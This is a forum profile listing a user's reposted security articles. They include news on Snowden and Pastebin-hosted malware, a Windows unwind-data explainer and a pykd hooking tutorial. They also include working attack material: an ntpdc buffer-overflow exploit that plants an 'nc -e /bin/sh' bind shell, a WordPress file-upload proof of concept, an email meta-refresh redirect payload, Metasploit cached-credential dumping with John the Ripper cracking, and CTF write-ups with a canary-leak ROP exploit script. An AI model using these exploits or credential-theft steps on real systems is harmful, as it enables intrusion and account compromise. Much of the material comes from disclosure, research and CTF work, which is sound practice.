Jump to content

Aerosol

Active Members
  • Posts

    3453
  • Joined

  • Last visited

  • Days Won

    22

Everything posted by Aerosol

  1. In an on-camera interview with James Bamford for an upcoming episode of PBS' NOVA, Edward Snowden warned that the US Department of Defense and National Security Agency have over-emphasized the development of offensive network capabilities, placing the US' own systems at greater risk. With other countries now developing offensive capabilities that approach those of the NSA and the US Cyber Command, Snowden believes the US has much more at stake. The raw transcript of the NOVA interview showed Snowden in full control, to the point of giving direction on questions and even suggesting how to organize the report and its visual elements. Snowden frequently steered questions away from areas that might have revealed more about NSA operations, or he went into areas such as White House policy that he considered "land mines." But the whistleblower eloquently discussed the hazards of cyber warfare and the precariousness of the approach that the NSA and Cyber Command had taken in terms of seeking to find and exploit holes in the software of adversaries. In fact, he says the same vulnerabilities are in systems in the US. "The same router that’s deployed in the United States is deployed in China," Snowden explained. "The same software package that controls the dam floodgates in the United States is the same as in Russia. The same hospital software is there in Syria and the United States." Some of the interview, which took place last June in Russia, possibly foreshadowed the cyber attack on Sony Pictures. Snowden said that the capabilities for cyber attacks such as the "Shamoon" malware attack in 2012 and other "wiper" attacks similar to what happened to Sony Pictures were "sort of a Fisher Price, baby’s first hack kind of a cyber campaign," capable of disruption but not really of creating long-term damage. But he said more sophisticated organizations, including nation-state actors, are "increasingly pursuing the capability to launch destructive cyber attacks as opposed to the disruptive kinds that you normally see online...and this is a pivot that is going to be very difficult for us to navigate." "I don’t want to hype the threat," Snowden told Bamford. "Nobody’s going to press a key on their keyboard and bring down the government. Nobody’s going to press a key on their keyboard and wipe a nation off the face of the earth." But Snowden emphasized that the US should be focusing more on defending against adversaries than trying to penetrate their networks to collect information and do damage. "When you look at the problem of the US prioritizing offense over defense, imagine you have two bank vaults, the United States bank vault and the Bank of China," Snowden explained. "The US bank vault is completely full. It goes all the way up to the sky. And the Chinese bank vault or the Russian bank vault or the African bank vault or whoever the adversary of the day is, theirs is only half full or a quarter full or a tenth full." But because the US has focused on being able to break into other networks, he said, it has made its own technology vulnerable—and other countries can use the same vulnerabilities to attack the US' networks. "We’re opening ourselves up to attack," Snowden said. "We’re lowering our shields to allow us to have an advantage when we attack other countries overseas, but the reality is when you compare one of our victories to one of their victories, the value of the data, the knowledge, the information gained from those attacks is far greater to them than it is to us because we are already on top. It’s much easier to drag us down than it is to grab some incremental knowledge from them and build ourselves up." The most valuable piece of infrastructure for the US that is at risk, Snowden said, is the Internet itself. "We use the Internet for every communication that businesses rely on every day," he explained. "If an adversary didn't target our power plants but they did target the core routers, entire parts of the United States could be cut off... and we would go dark in terms of our economy and our business for minutes, hours, days. That would have a tremendous impact on us as a society and it would have a policy backlash." When asked about the multi-day outage of Syria's connection to the Internet in 2013 and whether that might have been the result of someone at the NSA trying to attack Syria's core routers, Snowden demurred. He said that similar things happened in the past. "The problem is if you make a mistake when you’re manipulating the hardware control of a device, you can do what’s called bricking the hardware, and it turns it from a $6 million Internet communications device to a $6 million paperweight that’s in the way of your entire nation’s communications." The interview took place just days after Admiral Michael S. Rogers, the new director of the NSA, downplayed the damage done by Snowden's leaks in an interview with the New York Times. Snowden commented on the irony of the shift and also on statements by former NSA Director Michael Hayden during a discussion at St. John's Episcopal Church in Washington DC in September of 2013. During that event, Hayden said that Snowden was "morally arrogant" and would probably "end up like most of the rest of the defectors who went to the old Soviet Union: Isolated, bored, lonely, depressed—and most of them ended up alcoholics." "I don’t drink," Snowden said to Bamford and the NOVA crew. "I’ve never been drunk in my life. And they talk about Russia like it’s the worst place on earth. Russia’s great." Source
  2. Am gasit si: OpenSSL Toolkit 1.0.1k Download
  3. Download
  4. https://labs.integrity.pt/articles/good-for-enterprise-android-html-injection-cve-2014-4925/ 1. Vulnerability Properties Title: HTML Injection in Good for Enterprise Android CVE ID: CVE-2014-4925 CVSSv2 Base Score: 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N) Vendor: Good Technology (http://www1.good.com/) Products: Good for Enterprise Android (possibly others) Advisory Release Date: 8 January 2015 Advisory URL: http://labs.integrity.pt/advisories/cve-2014-4925/ Credits: Discovery and PoC by Cláudio André <ca[at]integrity.pt> 2. Vulnerability Summary A remote attacker is able to send a crafted email with a payload that redirects the user to a target url as soon as he opens the email. 3. Technical Details The vulnerability can be confirmed by sending a HTML email with the following content: <meta http-equiv=”refresh” content=”0;URL=’http://www.maliciousurl.com’” /> Exploiting this vulnerability could allow an attacker to redirect a user to a malicious website, allowing hooking the browser with malicious JavaScript, launching phishing attacks, etc. 4. Vulnerable Versions Confirmed on version 1.9.0.40, but from the vendor feedback all versions up to 2.8.0.398 should be vulnerable. 5. Solution Currently there is none. The vendor has classified this issue as unfixable and a product limitation. 6. Vulnerability Timeline 16 Apr 2014 – Vulnerability reported to vendor 7 Jan 2015 – Vendor gave final feedback that the issue was not a vulnerability and instead being a product limitation and unfixable. -- Cláudio André Security Consultant @ Integrity S.A www.integrity.pt Source
  5. Web clipboard should be a mainstay of enterprise blacklists Malware writers are using the Pastebin web clipboard to host backdoor code, researcher Denis Sinegubko suggests. The code-sharing site was used to store code that was later tapped in attacks against websites running a vulnerable instance of the popular RevSlider plugin. Sinegubko, a Securi staffer known for his whitehat malware analysis blog Unmaskparasites, said the use of Pastebin as a remote server for malcode in the many detected live attacks is common. "Technically, the criminals used Pastebin for what it was built for – to share code snippets. The only catch is that the code is malicious, and it is used in illegal activity directly off of the Pastebin website. "This time we see relatively massive use of Pastebin in live attacks, which is quite new to us." The code injected the content of a Base64-encoded $temp variable into a WordPress core wp-links-opml.php file and immediately executed. The use of a wp_nonce_once parameter hid the address of malicious pastes in a bid to foil blocking efforts or deletion of pastes and also added flexibility to execute any Pastebin snippet. It was a warning to the fellow malware-busting community to not share malcode on Pastebin as doing so could serve as a convenient server for attackers. Pastebin worked well as it allowed crackers to download code in raw format. It was so effective that Indonesian hacker 'FathurFreaks' of Yogyakarta BlackHat had craftedthe PHP Encryptor. Most businesses have no legitimate reason to allow access to Pastebin, according to RSA bod Kevin Fielder. In April 2013 he reported on malware that was using the clipboard to dump Base64 executables as text on the site that was then used in password stealing malware. Fielder detected the malware decoding the text inside his sandboxes. "Bottom line is block access to Pastebin, as there is no valid enterprise use of the site that wouldn't introduce significant risk," he said at the time. "If you can't block it, keep an eye on what is being downloaded and requested." Source
  6. Exploit here: Ntpdc 4.2.6p3 - Local Buffer Overflow # Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/ from os import system, environ from struct import pack import sys # # ntpdc 4.2.6p3 bof # @ dronesec # tested on x86 Ubuntu 12.04.5 LTS # IMAGE_BASE = 0x80000000 LD_INITIAL_OFFSET = 8900 LD_TAIL_OFFSET = 1400 sploit = "\x41" * 485 # junk sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip sploit += "\x41" * 79 # junk sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode ld_pl = "" ld_pl += pack("<I", 0xeeffffff) # ESI ld_pl += pack("<I", 0x11366061) # EDI ld_pl += pack("<I", 0x41414141) # EBP ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh" for idx in xrange(200): for inc in xrange(200): ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx) ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc) environ["LD_PRELOAD"] = ld_pl system("echo %s | ntpdc 2>&1" % sploit) Source
  7. # Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload # Date: 29-10-2014 # Software Link: https://wordpress.org/plugins/wp-easycart/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # CVE: CVE-2014-9308 # Category: webapps 1. Description Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html 2. Proof of Concept Login as regular user (created using wp-login.php?action=register): <form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="datemd5" value="1"> <input type="file" name="Filedata"> <input value="Upload!" type="submit"> </form> File will be visible: http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension% 3. Solution: Update to version 3.0.9 https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip Source
  8. 64-bit Windows and the Intel 64 environment have brought a number of changes to the way processes interact with their environment. Among these is the elimination of the base pointer by default, and with it, the ability to unwind the stack based only on the values of the stack and base pointer and the values at these locations on the stack. This frees RBP up for use as a general purpose register in addition to the 8 new ones introduced in the new architecture. When an exception occurs, one of the first things to do is to unwind the stack looking for a handler; this involves looking through each stack frame starting with the current one, looking for a frame corresponding with a function we know how to handle exceptions in. In order to do this, we need some mechanism of determining the length of stack frames, which is variable; otherwise, we have no way of knowing which address will be returned to and can’t determine the identity of the calling function. The traditional method of doing this is to use the base pointer to determine the width of each stack frame, storing the base pointer at a well-known location right next to the return address. However, as the base pointer is gone in 64-bit Windows, a new method of accomplishing this in the event of an exception is required; this method is the stored unwind data. It is computed at compile time, and stored in the .pdata section of the resultant PE; the structures are documented in the MSDN library. I show the difference between the old and new ways (there are two new ways, depending on whether alloca() is used) in the following diagrams. Note that the arguments passed on the stack, if present, are effectively local temporary variables in the calling function. The RIP pointer in these diagrams is not pointing to the position of RIP, but rather indicating the range within which RIP lies; the item it points at is the exception handling metadata for the current function. Simple 32-bit way 64-bit stack frame and lookup, without alloca() 64-bit stack frame and lookup, with alloca() This is a great simplification of the way this actually works. At the time the PE is loaded, the contents of the .pdata section (technically the xdata which are referred to by .pdata) are imported by the runtime and addresses are translated from image-relative to process-relative, which will have consequences to be described later. However, in the vast majority of cases this data does not change and continues to be valid if the addresses in it are translated. This of course has very little impact on static analysis, but it is at least theoretically possible to obfuscate this data in the PE by rewriting it at runtime. Additionally, the base pointer item in .pdata is not itself a frame pointer; it identifies the register which will act as a frame pointer. The structure of the unwind data is also somewhat more complex, but it is logically reducible to what is shown. I have also elided the semantics of the “action list”, which is really a derivation of the unwind operations structures. I’ve also left out the concept of leaf functions (the functions in the diagrams are termed “frame functions”); I will describe leaf functions below. There are other variants of these structures too. For instance, according to the MSDN, a function could establish a frame pointer in order to make the parameter-passing and register home regions dynamic; this would really only be advantageous where the function sometimes calls a function with very large stack parameters and sometimes does not, and as also stated in the MSDN, the current VS2012 compiler does not do this thing. However, it is important to note the difference between the dynamic and static (eg. with and without frame pointer) which makes this possible. In 64-bit Windows, the function prologue and epilogue are standardized. They perform a certain set of defined operations, which can be enumerated; these are what the unwind operation codes describe in the unwind data. Once the stack has been set up, it remains constant for the body of the function (those parts other than the prologue and epilogue) for functions without a frame pointer, and the representation of this data is correspondingly uncomplicated. For those functions which establish a frame pointer, only the portion of the stack prior to the frame pointer remains static throughout the body, and only that portion needs to in order to correctly establish the size of the stack frame during unwinding. The presence of this data, necessarily in an exhaustive form, presents interesting possibilities for reverse-engineering and analysis. Particularly, the data records the action of function prologues with reference to the range of instructions to which they apply. From this and the definition of a function prologue, it follows that each range of addresses will directly correspond to a function, and so even without complete debugging information it is possible both to unwind the stack without the frame pointer, and create a list of function entry points for disassembly. This provides a useful starting point for recovering unpublished symbols, and can be used to significantly increase the reliability and completeness of disassembly. To briefly define how this data is stored, three structures exist: runtime function entries, listing the start and end address of a function; unwind info entries, describing the character of the function’s exception handling (with a 1:1 relationship to runtime function entries, though a 1:n relationship would be compatible); and unwind code entries, with an n:1 relationship to unwind info, enumerating the action of the runtime function’s prologue on the stack. UnwindInfo relates to the .pdata areas, giving the length for each stack frame. The depicted layout shows a chained UnwindInfo structure; the stack offset of F2’s frame is indicated by the codes in both UNWIND_CODE structures. Full documentation of these structures is provided in the MSDN. Unfortunately, with this data come a number of caveats which are slightly more obscure. Firstly, not all functions are required to have exception handling information. If the information does not exist for some value of the instruction pointer, it is assumed that the function is a leaf function with no exception handling: that is, in C++ terms, it contains no try-catch or try-catch-finally blocks, allocates no stack and saves no registers, and calls no functions (though the method for handling these would accommodate a series of “leaf” functions which pass parameters by volatile registers only and use no stack except that used by the CALL instruction). While this is fine for exception handling (just pop the instruction pointer and recurse), it will obscure the entry point of any leaf function which immediately follows another leaf function. Secondly, if the target operation is stack unwinding, it is important to realize that stack unwind info can be chained. In this case, the unwind info entry may have its own stack operations, but they must be taken in union with another set. The other set is pointed to indirectly; a runtime function entry is placed after the unwind info entry, and the unwind info associated to it applies additively to the original function. These chains can be arbitrarily long, and may semantically contain cycles. Allegedly, this chaining reduces the size of .pdata in the image. Third, an undocumented case exists (apparently used exclusively within Windows and Office) whereby rather than pointing to an unwind info structure, a runtime function entry may point instead to another runtime function entry. The same offset is used for both pointers; as the starting addresses of unwind info and runtime function entries are guaranteed to be aligned, the least significant bit of the unwind info pointer is used as a flag. If it is set, it should be masked out, and indicates that the pointer is actually to another runtime function entry which contains the unwind info for the function. Fourth, while it is not clear in the documentation, the ending address of a runtime function entry does not indicate the last address of a function, but rather the first address after the function epilogue (eg. the first address not in the function). Lastly, while in the vast majority of cases the entirety of the exception handling information is computed at compile time and is static, an API is provided by which dynamic code can add exception handling entries at runtime. While static analysis of dynamic code is obviously suboptimal and not aided by the use of compile-time exception handling data, it is also possible to generate a compiled application which places “private” (but not runtime-generated) functions adjacent to each other and dynamically creates exception handling information for them at some point during runtime. This will effectively obscure them from a .pdata-based analysis. Source
  9. There are a lot of ways to modify the execution of a program, including at least using Windows Compatibility Toolkit (a good reference is Mark Baggett’s Derbycon talk), modifying the environment, manual patching the binary before it runs, and function hooking. Function hooking generally refers to any method where you’re able to intercept and modify function calls of a running process. A simple example of a function hook might be “every time the program calls AESEncrypt, first save the plaintext to a file and then call AESEncrypt”. There are also many different ways to function hook, and in my opinion there isn’t really a “best” way – it just depends on what you’re trying to do. For example, if you’re doing something to try to be sneaky, one of the best ways may be like Joe outlines here: Reflectively load your DLL using powershell so nothing needs to ever touch disk In your DLL, write a C function that contains the functionality to execute. Optionally, return control to the original function Overwrite the first bytes of the function to jump to your DLL However, if your goal is to change the behavior of a program and you don’t care about stealth (e.g. you’re just using hooking as an aid to testing) there are easier ways to accomplish the same goal. “soft” function hooking usually refers to attaching a debugger to a program and using the debugger’s functionality to modify the behavior. I’ve seen this approach elsewhere – in gray hat python, they use this technique with pydbg and immunitydbg. I learned about pykd because of mona for windb. I messed with pykd last week, and I like it quite a bit (at least more than windbg plugin alternatives I’ve used like powerdbg). There are pluses and minuses when compared with something like immunity debugger. Pykd doesn’t currently have nearly the number of convenience functions immunitydbg has (for example, you have to store your strings in memory manually). UPDATE: In this case I was looking for something like remotevirtualalloc and didn’t see it. But @corelanc0d3r pointed me at windbglib, which has these exact convenience functions. But Windbg is just a more powerful debugger. For example, immunitydbg is awesome, but it doesn’t work with 64 bit processes, following children processes, kernel debugging, etc. Here is a simple example. I ran into a situation where a team’s test box had a hard coded a test server to listen only on localhost. This can be a pain to debug, because a lot of my tools are on other boxes and plus I can’t do things like see what’s actually going on with wireshark. This is a quick script that modifies the behavior of inet_addr, which is where this binary passed the hard coded localhost to (if you’re wondering why I didn’t just patch it – that was an option too, but there was some other important stuff right next to it in .data and ‘localhost’ was too small to fit my IP). So this hook simply grabs the current IP and passes it as the arg to inet_addr instead of “localhost” Some things I got a bit stuck on Use the second argument with setBP to have a callback function on the breakpoints, and then use this to modify things. Note you can’t mess with execution within the function itself. Before going this route I tried to use the EventHandlers (like onBreakPoint) and ended up with weird errors. Within your callback function, if you return True (or nothing), execution will halt, and if you return False then execution will continue #!/usr/bin/python import pykd import socket #pykd script to modify inet_addr calls to a supplied IP address def getAddress(localAddr): res = pykd.dbgCommand("x " + localAddr) if res.count("\n") > 1: print "[-] Warning, more than one result for", localAddr return res.split()[0] class handle_inet(pykd.eventHandler): def __init__(self): #pykd.eventHandler.__init__(self) self.localAddr = socket.gethostbyname(socket.gethostname()) print "[+] Using ip address: " + self.localAddr bp_init = getAddress("WS2_32!inet_addr") self.bp_init = pykd.setBp(int(bp_init, 16), self.handle_inet_begin) self.bp_end = None pykd.go() def handle_inet_begin(self, args): print args print "[+] At start of inet_addr." ow_len = len(self.localAddr) + 1 #just save our string below us on the stack. We'll restore it on return #ret_addr = pykd.dbgCommand("k1").split("\n")[1].split()[1] #k doesn't work in win7, wtf self.ret_addr = pykd.dbgCommand("dd esp L1").split()[1] print "[+] saving return ptr: " + self.ret_addr self.bp_end = pykd.setBp(int(self.ret_addr, 16), self.handle_inet_end) self.stack_addr = pykd.reg("esp") + 500 print "[+] using this stack address to save our string: " + hex(self.stack_addr) self.old_stack = pykd.loadBytes(self.stack_addr, ow_len) print "[+] Writing over old stack stuff" pykd.dbgCommand("ea " + hex(self.stack_addr) + " \"" + self.localAddr + '"') #null terminate pykd.dbgCommand("eb " + hex(self.stack_addr) + "+" + hex(len(self.localAddr)) + " 00") #esp + 4 is the IP address parameter for inet_addr pykd.dbgCommand("ed esp+4 " + hex(self.stack_addr)) #Since this is a conditional bp, this makes the debugger continue return False def handle_inet_end(self, bp): if self.bp_end == bp: print "[+] Call complete" old_stack = " ".join([hex(i)[2:] for i in self.old_stack]) pykd.dbgCommand("eb " + hex(self.stack_addr) + " " + old_stack) print "[+] Old stack stuff restored" self.bp_end = None #Since this is a conditional bp, this makes the debugger continue return False d_handle = handle_inet() If you know windbg basics and python, this should be really familiar – I have a tiny bit of python to grab the IP, and then inside the handlers I’m pretty much just running windbg commands sequentially. I ran this in the debugger itself. Here’s a side tip. You can run put commands in a textfile for them to run in windbg (similar to gdb’s -x arg). So you can do this to load this pykd script automatically. > type windbg.txt .load pykd.pyd !py local_listen.py > windbg -c "$$><windbg.txt" server1.exe Another options would be to run this directly from the command line, which is also doable. Just use the pykd “attachProcess” or “startProcess” functions and go from there. Source
      • 1
      • Upvote
  10. Pass the hash is dead. Just kidding. Although Windows 8.1/2012R2 has some good improvements to help slow down lateral movement on a Windows network, pass the hash style attacks are still obviously a good way to spread out as a pentester/attacker. Here’s the scenario to keep in mind: you’re a local admin on a domain joined Server 2012R2 box and want to spread out. Let me expand a little on why you’d ever want to look at MS Cache. In our scenario above, first you might think mimikatz. LSASS is a protected process now, but that might not matter much. Mimikatz has a legitimately signed driver. Okay, this is great. But maybe the ops team has a rule looking for drivers being loaded and you don’t want to load a driver. Or worse, maybe everyone has logged off of the box and they’re only logging in with Network login. With 2008R2, credentials seemed to usually be cached in LSASS the next reboot, but this has changed in 2012R2. Now when users log out, their credentials are no longer cached (afaik). As an aside, this might be a good thing to keep in mind with disconnected RDP sessions since the users are still logged in. Without touching LSASS, you can also use token impersonation to get a similar effect. But this still requires a user to be logged in to take their tokens. There are also some nice things about eventually getting a hash or cleartext password rather than a token. Like even if a token can be used on that domain, a cleartext hash allows you to check for password reuse (or look for password variants if you can get the cleartext). There are a lot of ways to go even if nobody’s logged in. You could be a pirate, trigger AV and see if an ops user logs in interactively. You could setup an NTLM relayer to pass credentials of something, maybe the Qualys box. But one thing that’s often overlooked (at least by old me) is MS cache. An Overview of MS Cache The terminology can be confusing. Although the MS cache hash is a hash of the user’s password, it’s a distinct value from the user’s hash that you’d use to directly pass the hash. You can’t expect to forward it and for things to work. A good overview is on the jtr wiki here. The number of logins cached can be configured with group policy, as described here: Interactive logon: Number of previous logons to cache (in case domain controller is not available). The passwords seem to be cached this way with any interactive login (not just local). The algorithm for this is well understood. It’s PBKDF2(HMAC-SHA1, 10240, DCC1, username). Python has an implementation here >>> from passlib.hash import msdcc2 >>> hash = msdcc2.encrypt("Password123", user="test2") >>> print hash 'd7f91bcdec7c0df39396b4efc81123e4' Anyway. The only source of entropy for these MS cache hashes is the username. To be clear, the salt does not include the domain, the computer, etc. This is better than a normal hash which does not include the username either, but it is still not great. To illustrate this concept: # Machine: client1.rlundtest2.local // Server 2012R2 # User: test2 # password is Password123 # NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4 # NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71 # Machine: client2.differentdomain.local // Server 2008R2 # User: test2 # password is Password123 # NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4 # NT Hash: 58A478135A93AC3BF058A5EA0E8FDB71 # Machine: client1.rlundtest2.local // Server 2012R2 # User: mopey # password is Password123 # NT MSCASH Hash: 9721A87936592047EEF768B9AE603757 # NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71 With the normal NT hashes, the hash is always the same given a password (i.e. This is why pass the hash works across domains). With MS cache hashes it takes the username as entropy, but usernames aren’t random. If the “Administrator” account has the same password across domains, this MS cache hash is constant. Besides builtins like Administrator, this is also interesting in organizations that have several separate domains, but usernames are constant between them. Another thing to hammer in again. The NT Hash seems to be cached in server2012R2 only when the user is logged in, and in server 2008R2 until the next reboot. But (if configured to cache things, like it does by default) the MSCache hash is stored in a registry hive and will persist across reboots. Extracting and using the Cache hashes These hashes are stored in an obfuscated way in the registry, and getting at them is comparable to getting at local SAM accounts. Cachedump is one tool, although the source code seems to 404. Quarkspwdump is another tool, use “QuarkspwDump.exe -dhdc”. Metasploit also has a post exploit module, cachedump, that does this. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... msf exploit(psexec) > use post/windows/gather/cachedump msf post(cachedump) > show options Module options (post/windows/gather/cachedump): Name Current Setting Required Description ---- --------------- -------- ----------- DEBUG false yes Debugging output SESSION yes The session to run this module on. msf post(cachedump) > set SESSION 1 SESSION => 1 msf post(cachedump) > run [*] Executing module against CLIENT1 [*] Cached Credentials Setting: - (Max is 50 and 0 disables, and 10 is default) [*] Obtaining boot key... [*] Obtaining Lsa key... [*] Vista or above system [*] Obtaining LK$KM... [*] Dumping cached credentials... [*] Hash are in MSCACHE_VISTA format. (mscash2) [*] MSCACHE v2 saved in: /root/.msf4/loot/20140201152655_default_192.168.137.147_mscache2.creds_064400.txt [*] John the Ripper format: # mscash2 ... test2:$DCC2$#test2#d7f91bcdec7c0df39396b4efc81123e4:RLUNDTEST2.LOCALt:RLUNDTEST2 This theoretically is put in a format that john the ripper understands, but unfortunately John on Kali doesn’t seem to understand the format (it will run, but even with a wordlist the password doesn’t crack). For better luck, simply put it in “username:hash” $ cat mscash.txt test2:d7f91bcdec7c0df39396b4efc81123e4 $ john --format=mscash2 ./mscash.txt Loaded 1 password hash (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 4x]) Password123 (test2) guesses: 1 time: 0:00:00:00 DONE (Mon Feb 3 09:03:34 2014) c/s: 14.28 trying: password - Password123 Use the "--show" option to display all of the cracked passwords reliably Other crackers seem to support this format also, like hashcat (untested) and Cain. Slowness (update) I’ve seen some twitter activity around how this is “new pass the hash on windows 8.1?. This isn’t the case, although I do poke fun at the “pass the hash is dead” stuff. When I first published this, I should have expanded on how slow this cracking can be. JTR wiki says By default a lot of these could also be pre computed and put into rainbow tables. Although the iteration count is apparently configurable and could make this not practical. </update> The end, thanks for reading! Are greetz still a thing? Thanks to my friend Dave for help on this. Source
  11. The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over. I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate. stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250) ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400) To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400) gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350) You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route) I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250) SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500) Reversing 200 dodoCrackme Running strace $ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0 mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000 write(1, "r", 1r) = 1 write(1, "o", 1o) = 1 write(1, "o", 1o) = 1 write(1, "t", 1t) = 1 write(1, "@", 1@) = 1 write(1, "l", 1l) = 1 write(1, "o", 1o) = 1 write(1, "c", 1c) = 1 write(1, "a", 1a) = 1 write(1, "l", 1l) = 1 write(1, "h", 1h) = 1 write(1, "o", 1o) = 1 write(1, "s", 1s) = 1 write(1, "t", 1t) = 1 write(1, "'", 1') = 1 write(1, "s", 1s) = 1 write(1, " ", 1 ) = 1 write(1, "p", 1p) = 1 write(1, "a", 1a) = 1 write(1, "s", 1s) = 1 write(1, "s", 1s) = 1 write(1, "w", 1w) = 1 write(1, "o", 1o) = 1 write(1, "r", 1r) = 1 write(1, "d", 1d) = 1 write(1, ":", 1:) = 1 ... it looks like they’re doing syscalls for every character written and read Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner. With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly. import gdb import binascii import sys def read_weird_string(start_addr, spacing=8, block=100): a = gdb.selected_inferior().read_memory(start_addr, block * spacing) #for i in range(0,block): # print #print help(a) for i in a: if i == "\x00": continue sys.stdout.write(i) print print binascii.hexlify(a) read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50 gdb-peda$ source decode_string.py H4PPY_C0DEGaTE_2014_CU_1N_K0RE4 Reversing 250 Clone Technique This one has on the description: “Limited processes will be generated. Which one has the flag?” We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes. Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,… One thing I tried to do throughout this was put a breakpoint on memory access. For example, ba w4 00409754 The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit. Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key! My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key. >type windbg.txt .childdbg 1 .load pykd.pyd sxr sxe -c "bp 00401201 \"!py iskey.py\";g" ibp sxi epr >type iskey.py #!/usr/bin/python import pykd import struct import binascii def is_possible_key(mstr): try: mstr = mstr[:mstr.index(0)] except ValueError: return False print mstr for i in mstr: if not (i >= 0x20 and i <= 0x7e): return False if len(mstr) > 5: print "".join([chr(i) for i in mstr]) return True return False edi = pykd.reg("edi") a = pykd.loadBytes(edi,30) if is_possible_key(a): print "KEYKEYKEYKEYKEYKEY" else: pykd.dbgCommand("g") >windbg -c "$$><windbg.txt" clone_technique.exe This finds our key ‘And Now His Watch is Ended’ Forensics 150 Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here PDF - ForensicsWiki on the pdf but no luck. Looking at it, it’s Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream. Then just save the pdf part to a file and we get the key Pwn 250 Angy Doraemon This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big. The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.) So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket. #!/usr/bin/python import argparse import struct import socket import binascii import time class exploit: def __init__(self, args): self.command = args.command if args.fd == None: self.get_fd() else: self.fd = args.fd if args.canary == None: self.get_canary() else: self.canary = binascii.unhexlify(args.canary) self.pwn() def get_canary(self): self.canary = "" padding = "yAAAAAAAAA" #doing one byte at a time simplifies cases where there are null bytes for i in range(0,4): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((args.host, args.port)) data = self.recv_until(">", sock) sock.sendall("4") self.recv_until("(y/n) ", sock) sock.sendall(padding) data = self.recv_until("\"MOUSE!!!!!!!!! 